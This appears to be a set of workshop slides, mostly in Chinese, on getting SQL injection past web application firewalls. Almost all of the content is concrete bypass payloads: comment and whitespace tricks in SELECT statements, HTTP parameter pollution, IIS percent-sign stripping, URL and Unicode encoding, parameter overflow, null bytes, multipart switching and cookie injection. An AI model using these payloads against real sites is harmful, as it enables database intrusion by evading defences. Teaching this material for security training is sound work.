Bypassing WAF

Bypassing WAF

- 繞過關鍵字
  - 利用特性
  - 利用漏洞

Bypassing WAF

- 如何判斷關鍵字？
- 有行為？
- 無行為？
  - news.php?id=1 and 'select'='s''e''l''e''c''t'

利用特性

- DBMS SQL 語法鬆散性（MySQL）
  - SELECT * FROM news
  - SELECT/**/*/**/FROM/**/news
  - SELECT(*)FROM(news)
  - SELECT%09*%09FROM%09news
  - SELECT%A0*%A0FROM%A0news
  - … etc

利用特性

- HTTP Parameter Pollution
  - news.asp?id=1&id=2
  - ID = "1,2"

  - news.asp?id=1 and /*&id=*/1=1
  - ID = "1 and /*,*/1=1"

利用特性

- IIS asp.dll 解析特性
  - news.asp?id=ad%m%i%n
  - ID = "admin"

  - news.asp?id=1 a%nd (se%lec%t u%se%r)=0
  - ID = "1 and (select user)=0"

利用漏洞

- 繞過 WAF 規則 (Encoding)
  - ?id=1 and 1=1
  - ?id=1 %61nd 1=1
  - ?id=1 %u0061nd 1=1
- 繞過 WAF 規則 (Overflow)
  - ?id=1 and 1=1&foo=AAAAAA..... * 100000

利用漏洞

- 繞過 WAF 規則 (Null Byte)
  - ?id=1/*%u0000*/and 1=1
- 繞過 WAF 規則 (MultiPart)
  - application/x-www-form-urlencoded
  - multipart/form-data

利用漏洞

- Cookie 注入？
  - 通用防注入 script 只檢查 GET POST
  - request("id"), $_REQUEST['id'] ?

End of Workshop ?

Thanks

Orange@chroot.org